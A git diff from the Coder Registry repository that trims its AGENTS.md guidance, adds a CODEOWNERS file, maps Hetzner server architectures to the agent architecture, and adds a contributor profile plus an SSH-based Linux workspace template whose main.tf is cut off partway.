0.44,3.62 0.42,1.15 1.08,2.2 1.86,3.15 1.54,1.91 3.53,3.39 5.36,5.03 1.83,1.63 3.52,3.44 5.57,4.79 1.02,0.68 2.13,1.24 3.31,1.57 1.18,0.33 2.44,0.42 3.64,0.17 1.24,-0.25 2.4,-0.86 3.41,-1.64 1.01,-0.77 1.88,-1.7 2.71,-2.66 1.66,-1.93 3.21,-4.04 5.39,-5.34 z"/>
<path id="eyebrow_left" fill="url(#fill_eyebrow_left)" filter="url(#blur_eyebrow_left)"
d="m 90.77,36.57 c 2.16,2.02 3.76,4.52 4.85,7.16 -0.48,-2.91 -1.23,-5.26 -3.13,-7.16 -1.16,-1.09 -2.49,-2.05 -3.98,-2.72 -1.32,-0.59 -2.77,-0.96 -3.61,-0.97 -0.83,-0.02 -1.03,0 -1.2,0.01 -0.18,0.01 -0.31,0.01 0.23,0.08 0.54,0.06 1.75,0.39 3.05,0.97 1.3,0.58 2.62,1.54 3.79,2.63 z"/>
</g>
<g id="eye_right">
<path id="eyeball_right" fill="url(#fill_eyeball_right)"
d="m 111.61,38.28 c -2.39,1.65 -4.4,3.94 -5.38,6.68 -1.24,3.45 -0.77,7.31 0.43,10.77 1.22,3.55 3.27,6.93 6.36,9.06 1.54,1.07 3.33,1.8 5.19,2.02 1.87,0.22 3.8,-0.09 5.47,-0.95 2.02,-1.06 3.57,-2.91 4.53,-4.98 0.96,-2.08 1.37,-4.37 1.5,-6.66 0.16,-2.9 -0.12,-5.86 -1.08,-8.61 -1.04,-2.99 -2.92,-5.75 -5.58,-7.47 -1.32,-0.86 -2.83,-1.45 -4.4,-1.67 -1.57,-0.22 -3.19,-0.05 -4.67,0.52 -0.84,0.33 -1.62,0.78 -2.37,1.29 z"/>
<g id="pupil_right">
<path id="pupil_right_base" fill="#020204"
d="m 117.14,45.52 c -0.9,0.06 -1.78,0.37 -2.55,0.85 -0.76,0.48 -1.41,1.13 -1.92,1.88 -1.03,1.49 -1.48,3.31 -1.55,5.12 -0.05,1.35 0.1,2.72 0.55,4 0.45,1.28 1.2,2.47 2.25,3.33 1.07,0.89 2.42,1.42 3.81,1.49 1.39,0.06 2.79,-0.34 3.93,-1.13 0.91,-0.63 1.64,-1.5 2.16,-2.48 0.52,-0.97 0.84,-2.05 0.98,-3.15 0.25,-1.93 -0.03,-3.95 -0.93,-5.69 -0.89,-1.74 -2.41,-3.17 -4.24,-3.84 -0.8,-0.29 -1.65,-0.44 -2.49,-0.38 z"/>
<path id="pupil_right_glare" fill="url(#fill_pupil_right_glare)" filter="url(#blur_pupil_right_glare)" clip-path="url(#clip_pupil_right)"
d="m 122.71,53.36 c 1,-1 -0.71,-3.65 -2.05,-4.74 -0.97,-0.78 -3.78,-1.61 -3.66,-0.75 0.12,0.85 1.39,1.95 2.23,2.79 1.05,1.03 3,3.18 3.48,2.7 z"/>
</g>
<path id="eyelid_right" fill="url(#fill_eyelid_right)" clip-path="url(#clip_eye_right)"
d="m 102.56,47.01 c 2.06,-1.71 4.45,-3.01 7,-3.8 5.25,-1.62 11.2,-0.98 15.84,1.97 1.6,1.01 3.03,2.27 4.52,3.45 1.48,1.17 3.06,2.27 4.85,2.9 0.97,0.34 2,0.54 3.02,0.43 0.92,-0.09 1.81,-0.44 2.57,-0.96 0.76,-0.53 1.4,-1.23 1.88,-2.02 0.96,-1.58 1.27,-3.5 1.1,-5.34 -0.33,-3.69 -2.41,-6.94 -4.15,-10.21 -0.55,-1.02 -1.07,-2.06 -1.73,-3.01 -2.01,-2.93 -5.23,-4.86 -8.6,-5.99 -3.37,-1.13 -6.93,-1.54 -10.46,-1.98 -1.58,-0.2 -3.17,-0.41 -4.74,-0.22 -1.81,0.22 -3.51,0.95 -5.28,1.4 -0.84,0.22 -1.69,0.37 -2.52,0.61 -0.83,0.24 -1.65,0.57 -2.33,1.11 -0.98,0.79 -1.6,1.98 -1.87,3.21 -0.27,1.24 -0.21,2.52 -0.01,3.77 0.39,2.5 1.33,4.93 1.24,7.46 -0.06,1.73 -0.61,3.44 -0.54,5.17 0.02,0.51 0.12,1.55 0.21,2.05 z"/>
<path id="eyebrow_right" fill="url(#fill_eyebrow_right)" filter="url(#blur_eyebrow_right)"
d="m 119.93,31.18 c -0.41,0.52 -0.78,1.08 -1.07,1.7 1.85,0.4 3.61,1.16 5.19,2.21 3.06,2.03 5.38,4.99 7.01,8.29 0.38,-0.42 0.72,-0.87 1.02,-1.37 -1.64,-3.44 -4,-6.55 -7.16,-8.65 -1.52,-1 -3.21,-1.77 -4.99,-2.18 z"/>
</g>
</g>
<g id="beak">
<g id="beak_shadow">
<path id="beak_shadow_lower" fill="#000000" fill-opacity="0.258824" filter="url(#blur_beak_shadow_lower)" clip-path="url(#clip_body)"
d="m 81.12,89.33 c 1.47,4.26 4.42,7.89 7.92,10.72 1.16,0.95 2.39,1.82 3.76,2.43 1.36,0.62 2.87,0.97 4.36,0.84 1.46,-0.12 2.85,-0.7 4.13,-1.42 1.28,-0.72 2.46,-1.59 3.7,-2.37 2.12,-1.35 4.39,-2.44 6.6,-3.64 2.65,-1.45 5.23,-3.1 7.46,-5.14 1.03,-0.93 1.98,-1.95 3.11,-2.75 1.13,-0.81 2.49,-1.39 3.87,-1.29 1.04,0.07 2.01,0.51 3.03,0.73 0.51,0.11 1.03,0.16 1.55,0.08 0.51,-0.08 1.01,-0.29 1.37,-0.67 0.44,-0.46 0.64,-1.12 0.61,-1.76 -0.02,-0.63 -0.24,-1.25 -0.54,-1.81 -0.59,-1.13 -1.49,-2.1 -1.89,-3.31 -0.36,-1.08 -0.29,-2.24 -0.26,-3.37 0.03,-1.14 0.01,-2.32 -0.51,-3.33 -0.4,-0.76 -1.07,-1.37 -1.83,-1.77 -0.76,-0.41 -1.62,-0.62 -2.48,-0.7 -1.72,-0.16 -3.44,0.18 -5.17,0.27 -2.28,0.13 -4.58,-0.15 -6.87,-0.02 -2.85,0.18 -5.65,1 -8.51,1.01 -3.26,0.01 -6.52,-1.06 -9.74,-0.55 -1.39,0.22 -2.71,0.72 -4.03,1.16 -1.33,0.45 -2.7,0.84 -4.1,0.82 -1.59,-0.03 -3.13,-0.58 -4.72,-0.69 -0.79,-0.06 -1.6,0 -2.35,0.28 -0.74,0.28 -1.41,0.79 -1.78,1.5 -0.21,0.4 -0.31,0.86 -0.33,1.31 -0.02,0.46 0.04,0.91 0.15,1.36 0.22,0.88 0.63,1.71 0.96,2.55 1.2,3.07 1.46,6.42 2.53,9.53 z"/>
<path id="beak_shadow_upper" opacity="0.3" fill="#000000" filter="url(#blur_beak_shadow_upper)" clip-path="url(#clip_body)"
d="m 77.03,77.2 c 2.85,1.76 5.41,3.93 7.56,6.39 1.99,2.29 3.68,4.89 6.29,6.58 1.83,1.2 4.04,1.87 6.28,2.08 2.63,0.24 5.29,-0.15 7.83,-0.84 2.35,-0.63 4.62,-1.53 6.7,-2.71 3.97,-2.25 7.28,-5.55 11.65,-7.03 0.95,-0.33 1.94,-0.56 2.86,-0.96 0.92,-0.39 1.79,-0.99 2.23,-1.83 0.42,-0.82 0.4,-1.75 0.54,-2.64 0.15,-0.96 0.48,-1.88 0.66,-2.83 0.18,-0.95 0.2,-1.96 -0.24,-2.83 -0.37,-0.72 -1.04,-1.29 -1.81,-1.66 -0.77,-0.36 -1.64,-0.52 -2.51,-0.56 -1.72,-0.08 -3.43,0.33 -5.16,0.47 -2.28,0.19 -4.58,-0.08 -6.87,-0.01 -2.85,0.08 -5.66,0.67 -8.51,0.8 -3.25,0.14 -6.49,-0.34 -9.74,-0.44 -1.41,-0.05 -2.83,-0.03 -4.21,0.2 -1.39,0.22 -2.75,0.65 -3.92,1.37 -1.14,0.69 -2.07,1.64 -3.11,2.45 -0.52,0.41 -1.08,0.78 -1.68,1.07 -0.61,0.28 -1.28,0.48 -1.96,0.51 -0.35,0.01 -0.71,-0.01 -1.05,0.04 -0.59,0.08 -1.13,0.39 -1.47,0.83 -0.34,0.45 -0.47,1.02 -0.36,1.55 z"/>
</g>
<path id="beak_base" fill="url(#fill_beak_base)"
d="m 91.66,58.53 c 1.53,-1.71 2.57,-3.8 4.03,-5.56 0.73,-0.88 1.58,-1.69 2.57,-2.26 0.99,-0.57 2.15,-0.89 3.29,-0.79 1.27,0.11 2.46,0.74 3.39,1.61 0.93,0.87 1.62,1.97 2.17,3.12 0.53,1.11 0.95,2.28 1.71,3.24 0.81,1.02 1.94,1.71 2.97,2.52 0.51,0.4 1.01,0.83 1.41,1.34 0.41,0.51 0.72,1.1 0.86,1.74 0.13,0.65 0.06,1.33 -0.16,1.95 -0.23,0.62 -0.61,1.18 -1.09,1.64 -0.95,0.92 -2.25,1.42 -3.56,1.6 -2.62,0.37 -5.27,-0.41 -7.92,-0.34 -2.67,0.08 -5.29,1.02 -7.97,0.93 -1.33,-0.05 -2.69,-0.38 -3.79,-1.14 -0.55,-0.39 -1.03,-0.88 -1.38,-1.45 -0.34,-0.57 -0.55,-1.23 -0.58,-1.9 -0.02,-0.64 0.13,-1.28 0.39,-1.86 0.25,-0.59 0.61,-1.12 1.01,-1.62 0.81,-0.99 1.8,-1.81 2.65,-2.77 z"/>
<g id="mandible_lower">
<path id="mandible_lower_base" fill="url(#fill_mandible_lower_base)"
d="m 77.14,75.05 c 0.06,0.26 0.15,0.5 0.28,0.73 0.23,0.38 0.57,0.69 0.93,0.95 0.36,0.27 0.75,0.49 1.13,0.72 2.01,1.27 3.65,3.04 5.11,4.92 1.95,2.52 3.68,5.31 6.29,7.14 1.84,1.3 4.04,2.03 6.28,2.26 2.63,0.26 5.29,-0.16 7.83,-0.91 2.35,-0.69 4.62,-1.66 6.7,-2.95 3.97,-2.44 7.28,-6.02 11.65,-7.63 0.95,-0.35 1.94,-0.6 2.86,-1.03 0.92,-0.44 1.79,-1.08 2.23,-2 0.42,-0.88 0.4,-1.9 0.54,-2.87 0.15,-1.03 0.48,-2.03 0.66,-3.06 0.18,-1.03 0.2,-2.13 -0.24,-3.08 -0.37,-0.78 -1.04,-1.4 -1.81,-1.79 -0.77,-0.4 -1.64,-0.58 -2.51,-0.62 -1.72,-0.08 -3.43,0.36 -5.16,0.52 -2.28,0.21 -4.58,-0.09 -6.87,-0.02 -2.85,0.09 -5.66,0.73 -8.51,0.87 -3.25,0.15 -6.49,-0.35 -9.74,-0.48 -1.41,-0.06 -2.83,-0.04 -4.22,0.2 -1.39,0.23 -2.75,0.71 -3.91,1.51 -1.13,0.78 -2.03,1.84 -3.07,2.74 -0.52,0.45 -1.08,0.86 -1.7,1.16 -0.61,0.3 -1.29,0.49 -1.98,0.47 -0.35,-0.01 -0.72,-0.06 -1.05,0.04 -0.21,0.07 -0.4,0.2 -0.56,0.35 -0.16,0.16 -0.29,0.34 -0.41,0.52 -0.29,0.42 -0.54,0.87 -0.75,1.34 z"/>
<path id="mandible_lower_glare" fill="#d9b30d" filter="url(#blur_mandible_lower_glare)" clip-path="url(#clip_mandible_lower)"
d="m 89.9,78.56 c -0.33,1.37 -0.13,2.87 0.56,4.11 0.68,1.24 1.84,2.2 3.19,2.65 1.7,0.57 3.62,0.29 5.21,-0.54 0.93,-0.48 1.77,-1.16 2.3,-2.06 0.27,-0.44 0.46,-0.94 0.53,-1.46 0.06,-0.51 0.02,-1.05 -0.16,-1.54 -0.2,-0.53 -0.56,-1 -0.99,-1.37 -0.44,-0.37 -0.95,-0.64 -1.5,-0.82 -1.08,-0.36 -2.77,-0.66 -3.91,-0.68 -2.02,-0.04 -4.9,0.34 -5.23,1.71 z"/>
</g>
<g id="mandible_upper">
<path id="mandible_upper_shadow" fill="#604405" filter="url(#blur_mandible_upper_shadow)" clip-path="url(#clip_mandible_lower)"
d="m 84.31,67.86 c -1.16,0.68 -2.27,1.43 -3.36,2.2 -0.57,0.41 -1.15,0.84 -1.45,1.47 -0.21,0.44 -0.26,0.94 -0.27,1.43 0,0.5 0.03,0.99 -0.04,1.48 -0.04,0.33 -0.13,0.66 -0.14,0.99 -0.01,0.17 0,0.34 0.04,0.5 0.05,0.16 0.13,0.32 0.24,0.44 0.15,0.16 0.35,0.26 0.56,0.32 0.21,0.06 0.42,0.09 0.64,0.14 1.01,0.24 1.89,0.86 2.66,1.56 0.77,0.69 1.47,1.48 2.28,2.13 2.18,1.78 5.07,2.52 7.89,2.56 2.82,0.05 5.61,-0.54 8.36,-1.16 2.16,-0.49 4.32,-0.99 6.39,-1.76 3.2,-1.18 6.16,-2.96 8.72,-5.19 1.17,-1.01 2.26,-2.12 3.57,-2.94 1.15,-0.73 2.44,-1.21 3.62,-1.9 0.11,-0.06 0.21,-0.13 0.3,-0.2 0.1,-0.08 0.18,-0.18 0.24,-0.28 0.09,-0.19 0.09,-0.42 0.03,-0.62 -0.06,-0.2 -0.18,-0.38 -0.31,-0.55 -0.15,-0.18 -0.31,-0.34 -0.49,-0.5 -1.23,-1.05 -2.89,-1.43 -4.51,-1.56 -1.61,-0.12 -3.24,-0.03 -4.83,-0.3 -1.5,-0.25 -2.92,-0.81 -4.37,-1.27 -1.52,-0.49 -3.07,-0.87 -4.64,-1.13 -3.71,-0.61 -7.52,-0.49 -11.19,0.27 -3.49,0.73 -6.87,2.05 -9.94,3.87 z"/>
<path id="mandible_upper_base" fill="url(#fill_mandible_upper_base)"
d="m 83.94,63.95 c -1.66,1.12 -3.16,2.49 -4.43,4.04 -0.72,0.89 -1.38,1.86 -1.74,2.94 -0.29,0.86 -0.39,1.76 -0.57,2.65 -0.07,0.33 -0.15,0.66 -0.14,1 0,0.16 0.02,0.33 0.07,0.5 0.05,0.16 0.14,0.31 0.25,0.43 0.2,0.2 0.47,0.31 0.74,0.37 0.28,0.05 0.56,0.06 0.84,0.09 1.25,0.15 2.4,0.75 3.44,1.47 1.04,0.71 2,1.55 3.07,2.22 2.35,1.49 5.16,2.15 7.95,2.26 2.78,0.11 5.56,-0.31 8.3,-0.86 2.17,-0.43 4.33,-0.95 6.39,-1.76 3.16,-1.25 6.01,-3.16 8.72,-5.19 1.24,-0.92 2.46,-1.87 3.57,-2.94 0.37,-0.37 0.74,-0.74 1.14,-1.08 0.4,-0.33 0.85,-0.62 1.35,-0.78 0.76,-0.24 1.58,-0.17 2.37,-0.04 0.59,0.1 1.18,0.23 1.78,0.21 0.3,-0.02 0.6,-0.07 0.88,-0.18 0.28,-0.11 0.54,-0.28 0.73,-0.52 0.25,-0.3 0.38,-0.7 0.38,-1.09 0,-0.4 -0.12,-0.79 -0.32,-1.13 -0.4,-0.68 -1.09,-1.14 -1.81,-1.46 -0.99,-0.44 -2.06,-0.65 -3.11,-0.91 -3.23,-0.78 -6.37,-1.93 -9.34,-3.41 -1.48,-0.73 -2.92,-1.54 -4.37,-2.32 -1.5,-0.8 -3.02,-1.57 -4.64,-2.07 -3.64,-1.1 -7.6,-0.74 -11.19,0.51 -3.98,1.38 -7.58,3.84 -10.31,7.05 z"/>
<path id="mandible_upper_glare" fill="#f6da4a" filter="url(#blur_mandible_upper_glare)" clip-path="url(#clip_mandible_upper)"
d="m 109.45,64.75 c -0.2,-0.24 -0.48,-0.42 -0.78,-0.51 -0.3,-0.09 -0.62,-0.09 -0.93,-0.04 -0.62,0.11 -1.18,0.44 -1.7,0.8 -1.47,1.01 -2.77,2.26 -3.91,3.64 -1.5,1.83 -2.74,3.94 -3.16,6.27 -0.07,0.39 -0.11,0.8 -0.07,1.19 0.05,0.4 0.2,0.79 0.49,1.07 0.24,0.25 0.58,0.4 0.92,0.45 0.35,0.05 0.71,0 1.04,-0.11 0.66,-0.22 1.21,-0.69 1.74,-1.15 2.87,-2.58 5.47,-5.66 6.51,-9.38 0.1,-0.37 0.19,-0.75 0.19,-1.14 0,-0.39 -0.1,-0.78 -0.34,-1.09 z"/>
<path id="naris_left" opacity="0.8" fill="url(#fill_naris_left)" filter="url(#blur_naris_left)"
d="m 92.72,59.06 c -0.77,-0.25 -2.03,1.1 -1.62,1.79 0.11,0.19 0.46,0.43 0.7,0.3 0.35,-0.19 0.64,-0.89 1.02,-1.16 0.25,-0.18 0.2,-0.84 -0.1,-0.93 z"/>
<path id="naris_right" opacity="0.8" fill="url(#fill_naris_right)" filter="url(#blur_naris_right)"
d="m 102.56,59.42 c 0.2,0.64 1.23,0.53 1.83,0.84 0.52,0.27 0.94,0.86 1.53,0.88 0.56,0.01 1.44,-0.2 1.51,-0.76 0.09,-0.73 -0.98,-1.2 -1.67,-1.47 -0.89,-0.34 -2.03,-0.52 -2.86,-0.06 -0.19,0.11 -0.4,0.36 -0.34,0.57 z"/>
</g>
<path id="beak_corner" fill="url(#fill_beak_corner)" filter="url(#blur_beak_corner)" clip-path="url(#clip_beak)"
d="m 129.27,69.15 a 2.42,3.1 16.94 0 1 -2.81,3.04 2.42,3.1 16.94 0 1 -2.12,-3.04 2.42,3.1 16.94 0 1 2.81,-3.05 2.42,3.1 16.94 0 1 2.12,3.05 z"/>
</g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 49 KiB

185
AGENTS.md
View File

@ -1,168 +1,41 @@
# AGENTS.md # AGENTS.md
This file provides guidance to AI coding assistants when working with code in this repository. Coder Registry: Terraform modules/templates for Coder workspaces under `registry/[namespace]/modules/` and `registry/[namespace]/templates/`.
## Project Overview ## Commands
The Coder Registry is a community-driven repository for Terraform modules and templates that extend Coder workspaces. It's organized with:
- **Modules**: Individual components and tools (IDEs, auth integrations, dev tools)
- **Templates**: Complete workspace configurations for different platforms
- **Namespaces**: Each contributor has their own namespace under `/registry/[namespace]/`
## Common Development Commands
### Formatting
```bash ```bash
bun run fmt # Format all code (Prettier + Terraform) bun run fmt # Format code (Prettier + Terraform) - run before commits
bun run fmt:ci # Check formatting (CI mode) bun run tftest # Run all Terraform tests
bun run tstest # Run all TypeScript tests
terraform init -upgrade && terraform test -verbose # Test single module (run from module dir)
bun test main.test.ts # Run single TS test (from module dir)
./scripts/terraform_validate.sh # Validate Terraform syntax
./scripts/new_module.sh ns/name # Create new module scaffold
.github/scripts/version-bump.sh patch | minor | major # Bump module version after changes
``` ```
### Testing ## Structure
```bash - **Modules**: `registry/[ns]/modules/[name]/` with `main.tf`, `README.md` (YAML frontmatter), `.tftest.hcl` (required)
# Test all modules with .tftest.hcl files - **Templates**: `registry/[ns]/templates/[name]/` with `main.tf`, `README.md`
bun run test - **Validation**: `cmd/readmevalidation/` (Go) validates structure/frontmatter; URLs must be relative, not absolute
# Test specific module (from module directory) ## Code Style
terraform init -upgrade
terraform test -verbose
# Validate Terraform syntax - Every module MUST have `.tftest.hcl` tests; optional `main.test.ts` for container/script tests
./scripts/terraform_validate.sh - README frontmatter: `display_name`, `description`, `icon`, `verified: false`, `tags`
``` - Use semantic versioning; bump version via script when modifying modules
- Docker tests require Linux or Colima/OrbStack (not Docker Desktop)
- Use `tf` (not `hcl`) for code blocks in README; use relative icon paths (e.g., `../../../../.icons/`)
### Module Creation ## PR Review Checklist
```bash - Version bumped via `.github/scripts/version-bump.sh` if module changed (patch=bugfix, minor=feature, major=breaking)
# Generate new module scaffold - Breaking changes documented: removed inputs, changed defaults, new required variables
./scripts/new_module.sh namespace/module-name - New variables have sensible defaults to maintain backward compatibility
``` - Tests pass (`bun run tftest`, `bun run tstest`); add diagnostic logging for test failures
- README examples updated with new version number; tooltip/behavior changes noted
### TypeScript Testing & Setup - Shell scripts handle errors gracefully (use `|| echo "Warning..."` for non-fatal failures)
- No hardcoded values that should be configurable; no absolute URLs (use relative paths)
The repository uses Bun for TypeScript testing with utilities: - If AI-assisted: include model and tool/agent name at footer of PR body (e.g., "Generated with [Amp](thread-url) using Claude")
- `test/test.ts` - Testing utilities for container management and Terraform operations
- `setup.ts` - Test cleanup (removes .tfstate files and test containers)
- Container-based testing with Docker for module validation
## Architecture & Organization
### Directory Structure
```
registry/[namespace]/
├── README.md # Contributor info with frontmatter
├── .images/ # Namespace avatar (avatar.png/svg)
├── modules/ # Individual components
│ └── [module]/ # Each module has main.tf, README.md, tests
└── templates/ # Complete workspace configs
└── [template]/ # Each template has main.tf, README.md
```
### Key Components
**Module Structure**: Each module contains:
- `main.tf` - Terraform implementation
- `README.md` - Documentation with YAML frontmatter
- `.tftest.hcl` - Terraform test files (required)
- `run.sh` - Optional startup script
**Template Structure**: Each template contains:
- `main.tf` - Complete Coder template configuration
- `README.md` - Documentation with YAML frontmatter
- Additional configs, scripts as needed
### README Frontmatter Requirements
All modules/templates require YAML frontmatter:
```yaml
---
display_name: "Module Name"
description: "Brief description"
icon: "../../../../.icons/tool.svg"
verified: false
tags: ["tag1", "tag2"]
---
```
## Testing Requirements
### Module Testing
- Every module MUST have `.tftest.hcl` test files
- Optional `main.test.ts` files for container-based testing or complex business logic validation
- Tests use Docker containers with `--network=host` flag
- Linux required for testing (Docker Desktop on macOS/Windows won't work)
- Use Colima or OrbStack on macOS instead of Docker Desktop
### Test Utilities
The `test/test.ts` file provides:
- `runTerraformApply()` - Execute Terraform with variables
- `executeScriptInContainer()` - Run coder_script resources in containers
- `testRequiredVariables()` - Validate required variables
- Container management functions
## Validation & Quality
### Automated Validation
The Go validation tool (`cmd/readmevalidation/`) checks:
- Repository structure integrity
- Contributor README files
- Module and template documentation
- Frontmatter format compliance
### Versioning
Use semantic versioning for modules:
- **Patch** (1.2.3 → 1.2.4): Bug fixes
- **Minor** (1.2.3 → 1.3.0): New features, adding inputs
- **Major** (1.2.3 → 2.0.0): Breaking changes
## Dependencies & Tools
### Required Tools
- **Terraform** - Module development and testing
- **Docker** - Container-based testing
- **Bun** - JavaScript runtime for formatting/scripts
- **Go 1.23+** - Validation tooling
### Development Dependencies
- Prettier with Terraform and shell plugins
- TypeScript for test utilities
- Various npm packages for documentation processing
## Workflow Notes
### Contributing Process
1. Create namespace (first-time contributors)
2. Generate module/template files using scripts
3. Implement functionality and tests
4. Run formatting and validation
5. Submit PR with appropriate template
### Testing Workflow
- All modules must pass `terraform test`
- Use `bun run test` for comprehensive testing
- Format code with `bun run fmt` before submission
- Manual testing recommended for templates
### Namespace Management
- Each contributor gets unique namespace
- Namespace avatar required (avatar.png/svg in .images/)
- Namespace README with contributor info and frontmatter

2
CODEOWNERS Normal file
View File

@ -0,0 +1,2 @@
# GitHub Actions Workflow Owners
.github/ @jdomeracki-coder

View File

@ -137,11 +137,12 @@ locals {
hcloud_server_types = { hcloud_server_types = {
for st in jsondecode(data.http.hcloud_server_types.response_body).server_types : for st in jsondecode(data.http.hcloud_server_types.response_body).server_types :
st.name => { st.name => {
cores = st.cores cores = st.cores
memory_gb = st.memory memory_gb = st.memory
disk_gb = st.disk disk_gb = st.disk
locations = [for l in st.locations : l.name] architecture = st.architecture
deprecated = st.deprecated locations = [for l in st.locations : l.name]
deprecated = st.deprecated
} }
if st.deprecated == false if st.deprecated == false
} }
@ -162,6 +163,19 @@ locals {
data.coder_parameter.hcloud_location.value data.coder_parameter.hcloud_location.value
) )
] ]
# Map Hetzner architecture (x86 or arm) to Coder agent architecture (amd64 or arm64)
agent_arch = try(
lookup(
{
"x86" = "amd64"
"arm" = "arm64"
},
local.hcloud_server_types[data.coder_parameter.hcloud_server_type.value].architecture,
"amd64" # Fallback if not returned
),
"amd64" # Fallback for template setup
)
} }
data "coder_provisioner" "me" {} data "coder_provisioner" "me" {}
@ -187,7 +201,7 @@ data "coder_parameter" "home_volume_size" {
resource "coder_agent" "main" { resource "coder_agent" "main" {
os = "linux" os = "linux"
arch = "amd64" arch = local.agent_arch
metadata { metadata {
key = "cpu" key = "cpu"

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

View File

@ -0,0 +1,16 @@
---
display_name: "Tao Chen"
bio: "I believe in the power of technology to simplify life. Currently a freelancer, working on ideas that matter."
github: "IamTaoChen"
avatar: "./.images/avatar.png"
support_email: "IamTaoChen@gmail.com"
status: "community"
---
# Tao Chen
## Template
### ssh-linux
Provision an existing Linux system as a workspace by deploying the Coder agent via SSH with this example template.

View File

@ -0,0 +1,58 @@
---
display_name: Deploy Coder on existing Linux System
description: Provision an existing Linux system as a workspace by deploying the Coder agent via SSH with this example template.
icon: "../../../../.icons/linux.svg"
verified: false
tags: ["linux"]
---
# Deploy Coder on existing Linux system
Provision an existing Linux system as a [Coder workspace](https://coder.com/docs/workspaces) by deploying the Coder agent via SSH with this example template.
## Prerequisites
### Authentication
This template assumes you have SSH access to the target Linux system. You can use either password-based authentication or an SSH private key. Ensure the target system allows SSH connections and has basic utilities like `bash` installed. The user account specified must have sufficient permissions to execute scripts and manage processes in their home directory.
For more details on SSH setup, consult your Linux distribution's documentation or standard SSH guides.
## Architecture
This template deploys the following:
- A Coder agent configured for Linux (amd64 architecture).
- Conditional parameters for SSH authentication (password or key).
- A selection of applications (e.g., VS Code Desktop, VS Code Web, Cursor) that can be enabled via multi-select.
- `null_resource` blocks to handle workspace start/stop:
- On start: Connects via SSH, creates a cache directory, writes and executes the agent's init script in the background, and logs the process ID.
- On stop: Connects via SSH, kills the agent process if running, and removes the cache directory.
- Optional modules for additional apps like `coder-login`, `cursor`, and `vscode-web`, which are provisioned only if selected and when the workspace starts.
This setup does not provision new infrastructure; it remotely deploys and manages the Coder agent on your existing Linux host. Files and configurations in the user's home directory persist across restarts, but the agent is stopped and cleaned up on workspace stop.
### Persistent Agent
The agent is ephemeral by design (started on workspace start, stopped on stop). If you need a persistently running agent, modify the template to remove the stop logic or run the agent manually on the host.
## Security Considerations
Warning: This template stores SSH credentials (password or private key) in the Terraform state file and passes them as environment variables during deployment. In production environments, this can introduce security risks, as the state file contains sensitive information in plain text and may be accessible if not properly secured.
## Usage
1. Create a new workspace in Coder using this template.
2. Fill in the parameters with your Linux system's details.
3. Start the workspace—Coder will connect via SSH and deploy the agent.
4. Access the workspace through the Coder dashboard. Selected apps (e.g., VS Code) will be available.
5. On stop, the agent process is terminated and cleaned up.
## Troubleshooting
- **SSH Connection Issues**: Verify the host, port, username, and credentials. Check firewall rules and SSH server status on the target system. Review the debug log at `~/.coder/<workspace_id>/debug.log` on the remote host.
- **Agent Not Starting**: Inspect the log file at `~/.coder/<workspace_id>/coder.log` on the remote host for errors.
- **App Not Appearing**: Ensure the app is selected in parameters and the workspace is restarted if changes are made.
- **Validation Errors**: Parameters like host and port have built-in validations—ensure inputs match the requirements.
For more advanced customization, refer to the [Coder Terraform provider documentation](https://registry.terraform.io/providers/coder/coder/latest/docs).

View File

@ -0,0 +1,319 @@
terraform {
required_providers {
coder = {
source = "coder/coder"
version = ">= 2.4.0"
}
random = {
source = "hashicorp/random"
version = ">= 3.6"
}
}
}
provider "coder" {}
data "coder_workspace" "me" {}
data "coder_workspace_owner" "me" {}
data "coder_parameter" "host" {
description = "Remote Host or IP"
display_name = "Host"
name = "host"
type = "string"
default = "192.168.1.1"
mutable = false
order = 1
validation {
regex = "^[a-zA-Z0-9:.%\\-]+$"
error = "Please enter a valid hostname, IPv4, or IPv6 address. Examples: example.com, 192.168.1.1, or fe80::1"
}
}
data "coder_parameter" "username" {
default = data.coder_workspace_owner.me.name
description = "SSH Username"
display_name = "Username"
name = "username"
mutable = false
order = 2
}
data "coder_parameter" "auth_type" {
name = "auth_type"
display_name = "SSH Auth Type"
description = "Authentication method for SSH"
type = "string"
form_type = "dropdown"
default = "password"
mutable = true
order = 3
option {
name = "password"
value = "password"
}
option {
name = "SSH Key Manual"
value = "ssh_key"
}
option {
name = "SSH Key from Coder"
value = "ssh_key_coder"
}
}
data "coder_parameter" "ssh_password" {
count = data.coder_parameter.auth_type.value == "password" ? 1 : 0
name = "ssh_password"
display_name = "SSH Password"
description = "Password for SSH login"
type = "string"
mutable = true
styling = jsonencode({
mask_input = true
})
order = 4
}
data "coder_parameter" "ssh_key" {
count = data.coder_parameter.auth_type.value == "ssh_key" ? 1 : 0
name = "ssh_key"
display_name = "SSH Private Key"
description = "Paste SSH private key"
type = "string"
mutable = true
form_type = "textarea"
styling = jsonencode({
mask_input = true
})
order = 4
}
data "coder_parameter" "ssh_key_coder" {
count = data.coder_parameter.auth_type.value == "ssh_key_coder" ? 1 : 0
name = "ssh_key_coder"
display_name = "Public Key From Coder"
description = "Add this public key to your remote server's authorized_keys: \n\n${data.coder_workspace_owner.me.ssh_public_key}"
default = "********************"
styling = jsonencode({
disabled = true
mask_input = true
})
order = 4
}
data "coder_parameter" "port" {
default = 22
description = "SSH Port"
display_name = "Port"
name = "port"
type = "number"
mutable = true
order = 5
validation {
min = 1
max = 65535
error = "Port must be between 1 and 65535"
}
}
data "coder_parameter" "apps" {
name = "apps"
display_name = "Choose any APPs for your workspace."
type = "list(string)"
form_type = "multi-select"
mutable = true
default = jsonencode(["VS Code Desktop"])
dynamic "option" {
for_each = local.apps_candidate
content {
name = option.value
value = option.value
}
}
}
locals {
username = data.coder_parameter.username.value
home_dir = "/home/${lower(local.username)}"
coder_cache_dir = "${local.home_dir}/.coder/${data.coder_workspace.me.id}"
agent_id_file = "${local.coder_cache_dir}/agent.id"
use_password = data.coder_parameter.auth_type.value == "password"
use_key = contains(["ssh_key", "ssh_key_coder"], data.coder_parameter.auth_type.value)
ssh_password = local.use_password ? data.coder_parameter.ssh_password[0].value : null
ssh_private_key = data.coder_parameter.auth_type.value == "ssh_key_coder" ? data.coder_workspace_owner.me.ssh_private_key : (length(data.coder_parameter.ssh_key) > 0 ? data.coder_parameter.ssh_key[0].value : null)
apps_candidate = ["VS Code Desktop", "VS Code Web", "Cursor"]
apps_selected = (can(data.coder_parameter.apps.value) && data.coder_parameter.apps.value != "") ? jsondecode(data.coder_parameter.apps.value) : []
}
resource "random_integer" "vs_code_port" {
min = 54000
max = 55999
}
resource "coder_agent" "main" {
os = "linux"
arch = "amd64"
startup_script = <<-EOT
#!/bin/bash
set -euo pipefail
EOT
env = {
